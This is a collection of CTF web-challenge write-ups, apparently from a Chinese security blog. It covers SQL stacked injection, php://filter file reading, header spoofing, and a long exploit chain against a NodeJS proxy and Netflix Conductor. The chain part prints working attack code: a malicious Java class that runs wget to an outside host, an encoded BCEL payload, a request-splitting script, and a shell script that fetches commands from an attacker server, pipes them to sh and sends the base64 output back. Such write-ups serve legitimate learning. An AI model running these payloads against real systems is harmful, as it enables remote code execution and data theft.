2021年5月

知识点

  • 竞争条件

开工

进入到页面后提示需要将当前所给的字符串MD5加密后传输

尝试手动提交发现出不了结果,这里就可以考虑使用Python脚本进行传输

import requests
from hashlib import md5
import re



def encrypt(a):
    m = md5()
    m.update(a.encode('utf-8'))
    enc_a = m.hexdigest()
    data = {
        "hash":enc_a
    }
    return data

def find(url):
    res = requests.get(url).text
    pattern = re.compile(r'<h3 align=\'center\'>(.+?)</h3>')
    return pattern.findall(res)[0]

def find_txt(txt):

    pattern = re.compile(r'<h3 align=\'center\'>(.+?)</h3>')
    return pattern.findall(txt)[0]

def find_flag(txt):
    pattern = re.compile(r'<p align=\'center\'>(.+?)</p><center>')
    return pattern.findall(txt)[0]

def send(url):
    data = encrypt(find(url))

    res = requests.post(url=url,data=data,headers=headers).text

    data1 = encrypt(find_txt(res))
    
    res1 = requests.post(url=url,data=data1,headers=headers).text
    print(find_flag(res1))


if __name__ == '__main__':
    
    url = "http://46.101.74.114:32141/"
    headers = {
        'POST': '/ HTTP/1.1',
        'Content-Length': '37',
        'Cache-Control': 'max-age=0',
        'Upgrade-Insecure-Requests': '1',
        'Origin': url,
        'Content-Type': 'application/x-www-form-urlencoded',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
        'Referer': 'http://46.101.74.114:32141/',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'zh-CN,zh;q=0.9',
        'Cookie': 'PHPSESSID=itc987r7eesb6cg623hhc0ut35',
        'Connection': 'close'
    }
    while 1:
        send(url)


在特定情况下,如时间,就可以拿到flag

第一步:对页面进行分析

通过抓包看到页面

没有其他的敏感内容

尝试输入【1】

输入【or】后发现被过滤了

然后尝试fuzz一下

发现以下内容均被过滤

prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|"

尝试使用堆叠注入

  • 所谓堆叠注入就是将多条sql语句放在一起执行并且以【;】分开

获取到当前数据库

获取到当前数据库中到表单

由于 【from】被禁用,我们这里没有办法从flag中拿取数据

这里尝试许多办法最后在GitHub上获取到了该题目的源代码

  • \(sql = "select ".\)post['query']."||flag from Flag";

    这就是执行的sql语句

我们对源码分析发现这里有【||】表示或,传入的参数经过拼接后就成了(如query=1)

select 1 || flag from Flag

在数据库中查询就变成了

正如我们获取到的数据

现在要做的就是如何绕过【||】,并且让其执行后面的代码【flag from Flag】

方法一:使用Sql_mode 中的PIPES_AS_CONCAT函数

  • PIPES_AS_CONCAT:将【||】原本的“或”转换为“连接字符”,就是将||前后进行拼接

使用方法:PayLoad1【1;set sql_mode=PIPES_AS_CONCAT;select 1】

拼接过后的结果就是【select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag】

数据库就会识别为【select 1||flag from Flag;】注意:这里的||以及不是或的意思,是管道符的意思,就是将1查询完后,会继续查询flag的内容,然后将结果合并返回,如图

1后面的就是我们的flag

同时还有别的sql_mode

  • ANSI_QUOTES 启用 ANSI_QUOTES 后,不能用双引号来引用字符串,因为它被解释为识别符,作用与 一样。设置它以后,update t set f1="" ...`,会报 Unknown column '' in 'field list 这样的语法错误。
  • NO_TABLE_OPTIONS 使用 SHOW CREATE TABLE 时不会输出MySQL特有的语法部分,如 ENGINE ,这个在使用 mysqldump 跨DB种类迁移的时候需要考虑。
  • NO_AUTO_CREATE_USER 字面意思不自动创建用户。在给MySQL用户授权时,我们习惯使用 GRANT ... ON ... TO dbuser 顺道一起创建用户。设置该选项后就与oracle操作类似,授权之前必须先建立用户。5.7.7开始也默认了。

方法二:利用非预期注入方式获取Flag

我们传递过去的内容会被解析为\(sql = "select ".\)post['query']."||flag from Flag";

因此我们可以在传递值这边做文章,让数据库进行错误的判断

我们可以尝试传入1,1

返回回来的结果

在数据库中的操作

我们可以发现,这里的内容查询不是对【1,1】||【flag】而是对【1】,【1||flag】

这就是数据库对符号的判断不严谨,导致的非预期漏洞

我们就可以将","前的内容改为“ * ”, 从而构建PayLoad【 *,1 】

成功拿到flag

后端显示的结果

这道题严格意义上来说难度不大,在于考察的是对注入的掌握程度

本题中核心的知识点有:

  1. 堆叠注入
  2. 利用Sql_mode中的PIPES_AS_CONCAT 将 || 的作用转换连接
  3. 非预期注入

先用BP抓下包,发现敏感php文件./Archive_room.php

访问http://2c3ee119-35cd-4566-9b5f-58057f82ff2a.node3.buuoj.cn/Archive_room.php 该文件

然后通过BP查看到action.php里的内容

访问 secr3t.php,拿到该目录下的php文件

对代码进行审计,发现调用了下面几个函数

  • highlight_file: 对文本进行高亮处理
  • error_reporting(0): 不抛出异常
  • strstr: 查找字符串的首次出现
  • stristr: strstr() 函数的忽略大小写版本

无法进行目录穿越 和 php://input 调用系统命令

使用php://filter 协议 进行绕过

构建URL

?file=php://filter/read=convert.base64-encode/resource=flag.php

然后解密即可

前言

先附上成果图拿到Flag那一刻太激动了!!!

好了,话说回来。这次的题目的2021虎符CTF的Web最后一道零解题,能够根据大佬的WriteUP成功将漏洞复现,并且学到其中的知识点,自己已经收获了很多了。
在这里再一次感谢@Glzjin,赵总yyds!!!

知识点

  • NodeJs 代码审计
  • NodeJs 弱类型
  • NodeJs8 http库请求拆分漏洞
  • SSRF
  • Netflix Conductor 1day
  • Java BCEL 编码

操作步骤

  1. 加入后查看源码.


    找到注释 /source,访问后得到源码
  2. 开始审计

    const express = require('express')
    const router = express.Router()
    const axios = require('axios')
    const isIp = require('is-ip')
    const IP = require('ip')
    const UrlParse = require('url-parse')
    const {sha256, hint} = require('./utils')
    const salt = 'nooooooooodejssssssssss8_issssss_beeeeest' //得到提示版本为nodejs8
    const adminHash = sha256(sha256(salt + 'admin') + sha256(salt + 'admin')) //将2个admin先进行一次sha256编码后拼接再编码一次
    const port = process.env.PORT || 3000 // 开放端口为3000或环境变量里的端口
    function formatResopnse(response) {
    if(typeof(response) !== typeof('')) {
    return JSON.stringify(response)
    } else {
    return response
    }
    }
    function SSRF_WAF(url) { //判断是否为内网地址
    const host = new UrlParse(url).hostname.replace(/\[|\]/g, '')
    return isIp(host) && IP.isPublic(host)
    }
    function FLAG_WAF(url) { //判断路径是否为/flag
    const pathname = new UrlParse(url).pathname
    return !pathname.startsWith('/flag')
    }
    function OTHER_WAF(url) {
    return true;
    }
    const WAF_LISTS = [OTHER_WAF, SSRF_WAF, FLAG_WAF]
    router.get('/', (req, res, next) => {
    if(req.session.admin === undefined || req.session.admin === null) { //判断admin_session是否存在
    res.redirect('/login')
    } else {
    res.redirect('/index')
    }
    })
    router.get('/login', (req, res, next) => {
    const {username, password} = req.query;
    if(!username || !password || username === password || username.length === password.length || username === 'admin') {//判断username,password是否存在; 内容是否相等; 长度是否一致; 用户名是否为admin; 其中只要有一个为真就直接渲染(render)登陆界面
    res.render('login')
    } else {
    const hash = sha256(sha256(salt + username) + sha256(salt + password))// 这里将username与password进行加密后,把加密数据与上面加密的admin/admin相比较,赋值给session.admin
    req.session.admin = hash === adminHash
    res.redirect('/index')
    }
    })
    router.get('/index', (req, res, next) => {
    if(req.session.admin === undefined || req.session.admin === null) {//检测session
    res.redirect('/login')
    } else {
    res.render('index', {admin: req.session.admin, network: JSON.stringify(require('os').networkInterfaces())}) //渲染网卡信息
    }
    })
    router.get('/proxy', async(req, res, next) => {
    if(!req.session.admin) { //需要获取到admir的session
    return res.redirect('/index')
    }
    const url = decodeURI(req.query.url);
    console.log(url)
    const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b) //放到WAF_LIST中进行判断,返回结果为bool
    if(!status) {
    res.render('base', {title: 'WAF', content: "Here is the waf..."})
    } else {
    try {
    const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)//为真就调用接口
    res.render('base', response.data)
    } catch(error) {
    res.render('base', error.message)
    }
    }
    })
    router.post('/proxy', async(req, res, next) => { //注释里写到是测试接口,用不上
    if(!req.session.admin) {
    return res.redirect('/index')
    }
    // test url
    // not implemented here
    const url = "https://postman-echo.com/post"
    await axios.post(`http://127.0.0.1:${port}/search?url=${url}`)
    res.render('base', "Something needs to be implemented")
    })
    router.all('/search', async (req, res, next) => {
    if(!/127\.0\.0\.1/.test(req.ip)){//只允许127.0.0.1进行访问
    return res.send({title: 'Error', content: 'You can only use proxy to aceess here!'})
    }
    //可以发现这里没有对url进行WAF,因此存在可利用对SSRF
    const result = {title: 'Search Success', content: ''}
    const method = req.method.toLowerCase()
    const url = decodeURI(req.query.url)
    const data = req.body
    try {
    if(method == 'get') {
    const response = await axios.get(url)
    result.content = formatResopnse(response.data)
    } else if(method == 'post') {
    const response = await axios.post(url, data)
    result.content = formatResopnse(response.data)
    } else {
    result.title = 'Error'
    result.content = 'Unsupported Method'
    }
    } catch(error) {
    result.title = 'Error'
    result.content = error.message
    }
    return res.json(result)
    })
    router.get('/source', (req, res, next)=>{
    res.sendFile( __dirname + "/" + "index.js");
    })
    router.get('/flag', (req, res, next) => {
    if(!/127\.0\.0\.1/.test(req.ip)){//判断是否为本地请求
    return res.send({title: 'Error', content: 'No Flag For You!'})
    }
    return res.json({hint: hint})
    })
    module.exports = router
  3. 我们可以返回到首页进行登陆,这里调用的是登陆接口

    router.get('/login', (req, res, next) => {
      const {username, password} = req.query;
    if(!username || !password || username === password || username.length === password.length || username === 'admin') {//判断username,password是否存在; 内容是否相等; 长度是否一致; 用户名是否为admin; 其中只要有一个为真就直接渲染(render)登陆界面
    res.render('login')
    } else {
    const hash = sha256(sha256(salt + username) + sha256(salt + password))// 这里将username与password进行加密后,把加密数据与上面加密的admin/admin相比较,赋值给session.admin
    req.session.admin = hash === adminHash
    res.redirect('/index')
    }
    })

    他是将接受到的username与password进行加密然后拼接并与admin/admin进行比较,判断是否能够登陆。但在此之前会对输入进行一次过滤,当出现以下情况都会被拦截

    1. 空输入
    2. 内容相同
    3. 长度相同
    4. username的内容为['admin']

    这里就需要进行绕过,可以做一个测试

    发现当string与list类型想拼接时会直接转化为string,并且类型不相同,长度不同,因此可以绕过
    最后绕过的payload[ /login?username[]=admin&password=admin ]

    登陆成功后就可以查看到网卡信息

  4. 接下来就是第二个接口

    router.get('/proxy', async(req, res, next) => {
    if(!req.session.admin) { //需要获取到admir的session
    return res.redirect('/index')
    }
    const url = decodeURI(req.query.url);
    console.log(url)
    const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b) //放到WAF_LIST中进行判断,返回结果为bool
    if(!status) {
    res.render('base', {title: 'WAF', content: "Here is the waf..."})
    } else {
    try {
    const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)//为真就调用接口
    res.render('base', response.data)
    } catch(error) {
    res.render('base', error.message)
    }
    }
    })

    这个接口会调用前会判断session是否为admin,并且将请求的url放入WAF中进行过滤
    就好比
    这里可以尝试http://0.0.0.0:3000


    • 0.0.0.0:3000指的是该设备上所有开放的3000的端口


    不出意外的成功了

  5. 由于search接口并没有设置WAF,只设置了仅限本地访问,我们可以直接调用/search接口访问/flag
    Payload为 http://0.0.0.0:3000/search?url=http://127.0.0.1:3000/flag

    得到提示,内网中有一台设备开了 netflix conductor server 这里就需要去找Netflix conductor 的漏洞,并且找到开设服务的设备.

  6. 从得到的网卡信息得知,10.0.203.9这个格式是docker的默认网卡格式,我们就开始上手利用SSRF查找
    并且通过查阅官方文档发现服务开放于8080端口 https://github.com/Netflix/conductor/blob/dev/client/python/kitchensink_workers.py

    
    from __future__ import print_function
    from conductor.ConductorWorker import ConductorWorker,TaskStatus
    def execute(task):
    return ConductorWorker.task_result(
    status=TaskStatus.COMPLETED,
    output= {'mod': 5, 'taskToExecute': 'task_1', 'oddEven': 0},
    logs=['one','two']
    )
    def execute4(task):
    forkTasks = [{"name": "task_1", "taskReferenceName": "task_1_1", "type": "SIMPLE"},{"name": "sub_workflow_4", "taskReferenceName": "wf_dyn", "type": "SUB_WORKFLOW", "subWorkflowParam": {"name": "sub_flow_1"}}];
    input = {'task_1_1': {}, 'wf_dyn': {}}
    return {'status': 'COMPLETED', 'output': {'mod': 5, 'taskToExecute': 'task_1', 'oddEven': 0, 'dynamicTasks': forkTasks, 'inputs': input}, 'logs': ['one','two']}
    def main():
    print('Starting Kitchensink workflows')
    cc = ConductorWorker('http://localhost:8080/api', 1, 0.1)
    for x in range(1, 30):
    if(x == 4):
    cc.start('task_{0}'.format(x), execute4, False)
    else:
    cc.start('task_{0}'.format(x), execute, False)
    cc.start('task_30', execute, True)
    if __name__ == '__main__':
    main()

    http://0.0.0.0:3000/search?url=http://10.0.203.10:8080
    一直查到
    http://0.0.0.0:3000/search?url=http://10.0.203.14:8080
    得到信息

  7. 将拿到的信息转码后得到以下代码

    <!DOCTYPE html>\n
    <html>\n
    <head>\n
    <meta charset=\ "UTF-8\">\n
    <title>Swagger UI</title>\n
    <link rel=\ "icon\" type=\ "image/png\" href=\ "images/favicon-32x32.png\" sizes=\ "32x32\" />\n
    <link rel=\ "icon\" type=\ "image/png\" href=\ "images/favicon-16x16.png\" sizes=\ "16x16\" />\n
    <link href='css/typography.css' media='screen' rel='stylesheet' type='text/css' />\n
    <link href='css/reset.css' media='screen' rel='stylesheet' type='text/css' />\n
    <link href='css/screen.css' media='screen' rel='stylesheet' type='text/css' />\n
    <link href='css/reset.css' media='print' rel='stylesheet' type='text/css' />\n
    <link href='css/print.css' media='print' rel='stylesheet' type='text/css' />\n\n
    <script src='lib/object-assign-pollyfill.js' type='text/javascript'></script>\n
    <script src='lib/jquery-1.8.0.min.js' type='text/javascript'></script>\n
    <script src='lib/jquery.slideto.min.js' type='text/javascript'></script>\n
    <script src='lib/jquery.wiggle.min.js' type='text/javascript'></script>\n
    <script src='lib/jquery.ba-bbq.min.js' type='text/javascript'></script>\n
    <script src='lib/handlebars-4.0.5.js' type='text/javascript'></script>\n
    <script src='lib/lodash.min.js' type='text/javascript'></script>\n
    <script src='lib/backbone-min.js' type='text/javascript'></script>\n
    <script src='swagger-ui.js' type='text/javascript'></script>\n
    <script src='lib/highlight.9.1.0.pack.js' type='text/javascript'></script>\n
    <script src='lib/highlight.9.1.0.pack_extended.js' type='text/javascript'></script>\n
    <script src='lib/jsoneditor.min.js' type='text/javascript'></script>\n
    <script src='lib/marked.js' type='text/javascript'></script>\n
    <script src='lib/swagger-oauth.js' type='text/javascript'></script>\n\n
    <!-- Some basic translations -->\n
    <!-- <script src='lang/translator.js' type='text/javascript'></script> -->\n
    <!-- <script src='lang/ru.js' type='text/javascript'></script> -->\n
    <!-- <script src='lang/en.js' type='text/javascript'></script> -->\n\n
    <script type=\ "text/javascript\">\n $(function() {\n\n
    var url = window.location.search.match(/url=([^&]+)/); //http://127.0.0.1:8080/?url=127.0.0.1:8080\n if (url && url.length > 1) {\n url = decodeURIComponent(url[1]);\n\n if (!url.includes('://')) {\n url = `http://${url}`;\n }\n } else {\n url = window.location.origin;\n }\n\n hljs.configure({\n highlightSizeThreshold: 5000\n });\n\n // Pre load translate...\n if(window.SwaggerTranslator) {\n window.SwaggerTranslator.translate();\n }\n window.swaggerUi = new SwaggerUi({\n url: url + \"/api/swagger.json\",\n dom_id: \"swagger-ui-container\",\n supportedSubmitMethods: ['get', 'post', 'put', 'delete', 'patch'],\n onComplete: function(swaggerApi, swaggerUi){\n window.swaggerUi.api.setBasePath(\"/api\");\n if(typeof initOAuth == \"function\") {\n initOAuth({\n clientId: \"your-client-id\",\n clientSecret: \"your-client-secret-if-required\",\n realm: \"your-realms\",\n appName: \"your-app-name\",\n scopeSeparator: \" \",\n additionalQueryStringParams: {}\n });\n }\n\n if(window.SwaggerTranslator) {\n window.SwaggerTranslator.translate();\n }\n },\n onFailure: function(data) {\n log(\"Unable to Load SwaggerUI\");\n },\n docExpansion: \"none\",\n jsonEditor: false,\n defaultModelRendering: 'schema',\n showRequestHeaders: false\n });\n\n window.swaggerUi.load();\n\n function log() {\n if ('console' in window) {\n console.log.apply(console, arguments);\n }\n }\n });\n\n
    </script>\n</head>\n\n
    <body class=\ "swagger-section\">\n
    <div id='header'>\n
    <div class=\ "swagger-ui-wrap\">\n
    <a id=\ "logo\" href=\ "http://swagger.io\">
    <img class=\ "logo__img\" alt=\ "swagger\" height=\ "30\" width=\ "30\" src=\ "images/logo_small.png\" />
    <span class=\ "logo__title\">swagger</span></a>\n
    <form id='api_selector'>\n
    <div class='input'>
    <input placeholder=\ "http://example.com/api\" id=\ "input_baseUrl\" name=\ "baseUrl\" type=\ "text\"/></div>\n
    <div id='auth_container'></div>\n
    <div class='input'>
    <a id=\ "explore\" class=\ "header__btn\" href=\ "#\" data-sw-translate>Explore</a></div>\n</form>\n</div>\n</div>\n\n
    <div id=\ "message-bar\" class=\ "swagger-ui-wrap\" data-sw-translate>&nbsp;</div>\n
    <div id=\ "swagger-ui-container\" class=\ "swagger-ui-wrap\"></div>\n</body>\n
    </html>\n

    我们可以在源码里的script中找到关键json文件 /api/swagger.json
    然后构建url访问
    获取到的就是接口文件

    找到路径 /api/admin/config 这里的api接口都是api/下的子接口因此需要加上/api
    打进去看看

    得到了版本信息2.26.0-SNAPSHOT

  8. 找到了一个漏洞 https://xz.aliyun.com/t/7889 目前只有这一个洞,就先试试能不能用.
    虽然官方说的影响版本是 <= v2.25.3
    https://github.com/Netflix/security-bulletins/blob/master/advisories/nflx-2020-001.md

  9. 开搞


    1. 首先构造恶意的REC

      public class Evil
      {
      public Evil() {
      try {
      Runtime.getRuntime().exec("wget http://[public_ip]:[port] -O /tmp/yunoon"); //这里也可以使用赵总的http://172.247.76.183:9998
      }
      catch (Exception ex) {
      ex.printStackTrace();
      }
      }
      public static void main(final String[] array) {
      }
      }
    2. 对java程序进行编译
      $ javac Evil.java

    3. 使用BCELCodeman.jar 将编译好的class文件转换为BCEL字符 工具GitHub地址
      java -jar BCELCodeman.jar e Evil.class

      如果输出的结果是一小段字符的话请检查你的Java版本也许他并不适合这个工具
      我这里使用的版本为jdk1.8.0_211.jdk
      export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_211.jdk/Contents/Home/

    4. 这里需要注意的是,由于接口proxy只提供了Get请求并没有Post请求[ 有,但不能用:) ],
      可以再重新看下源码

      router.get('/proxy', async(req, res, next) => {
        if(!req.session.admin) { //需要获取到admir的session
      return res.redirect('/index')
      }
      const url = decodeURI(req.query.url);
      console.log(url)
      const status = WAF_LISTS.map((waf)=>waf(url)).reduce((a,b)=>a&&b) //放到WAF_LIST中进行判断,返回结果为bool
      if(!status) {
      res.render('base', {title: 'WAF', content: "Here is the waf..."})
      } else {
      try {
      const response = await axios.get(`http://127.0.0.1:${port}/search?url=${url}`)//为真就调用接口
      res.render('base', response.data)
      } catch(error) {
      res.render('base', error.message)
      }
      }
      })

      这里的axios的http协议 使用的是NodeJs的http库来实现的,我们可以利用nodejs8中的请求拆分漏洞( https://www.cvedetails.com/cve/CVE-2018-12116/ )来构造Post请求

      NodeJS8中的请求拆分漏洞的关键就在于,平常我们的unicode是\u{00XX},漏洞利用就变成了\u{01XX}

    5. 写一个脚本将输出的内容放入变量a中

      a = '$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$c2$40$U$3dS$k$85$K$f2$S$U$7c$81$$$EMd$e3$O$e3$c6$e0$K$l$R$a2$L7$96$3a$a9$83$d06e$m$c4$lr$cd$G$8d$L$3f$c0$8fR$ef4FLt$929w$ee$b9g$ce$9d$c7$fb$c7$eb$h$80$Dl$h$88a$c9$40$k$85$Y$96U$5c$d1Q4$QAI$c7$aa$8e5$86$e8$a1p$84$3cb$IUkW$M$e1c$f7$8e3$a4Z$c2$e1g$a3A$97$fb$j$b3$db$t$s$d9$96$a6$f5pjzA$k$ec$$$92$7c$60$K$87$a1P$bdi$f5$cc$b1Y$ef$9b$8e$5doK_8vC$d9$Zmw$e4$5b$fcD$u$8bxs$y$fa$fbJ$97$40$i$86$8e$f5$E6$b0$c9$b08$bc$_$d7$e5$c0$ab$db$fd$c7$9ep$S$u$a3$c2$90$9b$3b6$t$W$f7$a4p$a9$b4$F$83$da$w$t$86$f4$5cq$de$edqK2d$e6$d4$e5$c8$91b$40$7d$N$9b$cb$9f$q_$ad$b5$feh$gd$c9$t$dcb$d8$a9$fes$91_$d4$85$efZ$7c8$a4$N$v$8f$8a2x$95$8eoZ$i$V$e8$f4$dajh$60$ea$82$84$L$94$ddR$aeQ$y$ec$3e$83$bd$40$cb$86f$I_$3f$n$d6$da$9b$n$3a$rU$YI$a4$e9S4$qHWB$940Dl$84$f88Utd$c89O$8eI$aa$a4$a1$7d$S0$j$8b$KR$e1$40$93$f9$eeV$a4$c9$d4$9c$G$Le$Y$N$88$qa68$5c$ee$L$VXu$96$m$C$A$A'
      post_payload = '[\u{017b}\u{0122}name\u{0122}:\u{0122}$\u{017b}\u{0127}1\u{0127}.getClass().forName(\u{0127}com.sun.org.apache.bcel.internal.util.ClassLoader\u{0127}).newInstance().loadClass(\u{0127}'+a+'\u{0127}).newInstance().class\u{017d}\u{0122},\u{0122}ownerEmail\u{0122}:\u{0122}test@example.org\u{0122},\u{0122}retryCount\u{0122}:\u{0122}3\u{0122},\u{0122}timeoutSeconds\u{0122}:\u{0122}1200\u{0122},\u{0122}inputKeys\u{0122}:[\u{0122}sourceRequestId\u{0122},\u{0122}qcElementType\u{0122}],\u{0122}outputKeys\u{0122}:[\u{0122}state\u{0122},\u{0122}skipped\u{0122},\u{0122}result\u{0122}],\u{0122}timeoutPolicy\u{0122}:\u{0122}TIME_OUT_WF\u{0122},\u{0122}retryLogic\u{0122}:\u{0122}FIXED\u{0122},\u{0122}retryDelaySeconds\u{0122}:\u{0122}600\u{0122},\u{0122}responseTimeoutSeconds\u{0122}:\u{0122}3600\u{0122},\u{0122}concurrentExecLimit\u{0122}:\u{0122}100\u{0122},\u{0122}rateLimitFrequencyInSeconds\u{0122}:\u{0122}60\u{0122},\u{0122}rateLimitPerFrequency\u{0122}:\u{0122}50\u{0122},\u{0122}isolationgroupId\u{0122}:\u{0122}myIsolationGroupId\u{0122}\u{017d}]'
      console.log(encodeURI(
      encodeURI(
      encodeURI(
      'http://0.0.0.0:3000/\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}\u{010D}\u{010A}POST\u{0120}/search?url=http://10.0.218.14:8080/api/metadata/taskdefs\u{0120}HTTP/1.1\u{010D}\u{010A}Host:127.0.0.1:3000\u{010D}\u{010A}Content-Type:application/json\u{010D}\u{010A}Content-Length:' + post_payload.length + '\u{010D}\u{010A}\u{010D}\u{010A}' + post_payload+ '\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private'))))
    6. 注意要更改目标机的IP地址,然后运行出我们最终的Payload
      node code.js

    7. 在请求之前我们还需要把服务器上的漏洞执行做好
      main.py, FastAPI服务框架

      from fastapi import Depends, FastAPI
      from fastapi.responses import FileResponse
      app = FastAPI(docs_url=None, redoc_url=None)
      @app.get("/")
      def return_passwd_file():
      file_like = "test1.txt"
      file_path = open(file_like, mode="rb")
      return FileResponse(file_like)
      @app.get("/command1.txt")
      def return_passwd_file1():
      file_like = "command.txt"
      file_path = open(file_like, mode="rb")
      return FileResponse(file_like)
      if __name__ == '__main__':
      import uvicorn
      uvicorn.run(app='main:app', host='0.0.0.0', port=20000, reload=True, debug=True)

      test1.txt 用来显示回显

      #!/bin/sh
      wget http://[public_ip]:[port]/1?a=`wget -O- http://[public_ip]:[port]/command1.txt|sh|base64`
      

      command1.txt 命令执行

      cat /flag
      

      RUN !!!

      测试成功

  10. 最后我们需要将以前的Evil.java文件进行更改,使其执行目标服务器上的命令
    因为我们上一个执行命令是

    wget http://[public_ip]:[port] -O /tmp/yunoon
    

    目前在/temp下就有一个yunoon的文件,他的内容为我们写入在test1.txt中的内容

    #!/bin/sh
    wget http://[public_ip]:[port]/1?a=`wget -O- http://[public_ip]:[port]/command1.txt|sh|base64`
    

    注: public_ip与port需要更改为自己的公网ip与端口

  11. 最后再生产一个执行命令为sh /tmp/yunoon的class文件,重复9中的步骤,打过去

    将URL中回显的Base64内容解密就可以拿到Flag


    总结


    这次复现花了2天,但收获颇丰.第一天做题,第二天写WriteUP,写WP的时候对这个漏洞的理解更深刻了,同时也学会了使用公网服务器来执行命令.
    最后再归纳一下流程:


    1. 利用NodeJS弱类型username[]=admin进行登陆获取管理员Session
    2. 绕过127.0.0.1的WAF从而进行SSRF,调用/search接口获取到/flag拿到hint
    3. 利用SSRF扫描内网,获取到目标服务器地址
    4. 通过服务器的回显,知道swagger.json文件获取到/api/admin/config下的系统版本
    5. 利用4获取到的系统版本,知道Netflix Conductor的漏洞拿到Payload
    6. 构建恶意java程序,编译后使用BCELCodeman工具将class文件转换为BCEL字符
    7. 利用NodeJS8中的http库请求拆分漏洞,构建POST请求
    8. 编写脚本将请求转为URIencode的格式,然后通过/search接口发送请求,从而执行命令

先抓个包看看

发现当前服务器的版本为Apache/2.2.15 (CentOS),于是便去查了该版本的漏洞

然后通过分析源码发现可以直接查看文件目录

查看了这些目录中的内容并没有发现敏感文件,由于我是条懒狗,没有去利用另外的漏洞,查阅了别人的writeup发现在网页首页源码中就有敏感php文件

访问后发现需要添加请求头

添加第一个请求头 Referer

然后他报出需要“Syclover”浏览器


那我们就添加第二个请求头User-Agent

哪知道他又报出需要通过本地访问,这里我就卡了。

通过查阅文档发现可以添加X-Forwarded-For可以伪造本地访问

这这里添加第三个请求头X-Forworded-For

最后成功拿到flag

下面进行这道题的技术总结

  1. 考察了对敏感文件名和敏感字段名对查找
  2. 对HTTP请求头的了解
  3. Referer: 来源页面,访问该页面的前一个页面
  4. User-Agent:浏览器名称常见的如谷歌浏览器(Chrome),火狐浏览器(FireFox),Safari浏览器都有对应的浏览器请求头
  5. X-Forwarded-For:一个事实标准 ,用于标识某个通过超文本传输协议代理或负载均衡连接到某个网页服务器的客户端的原始互联网地址(Wiki百科 HTTP 头字段)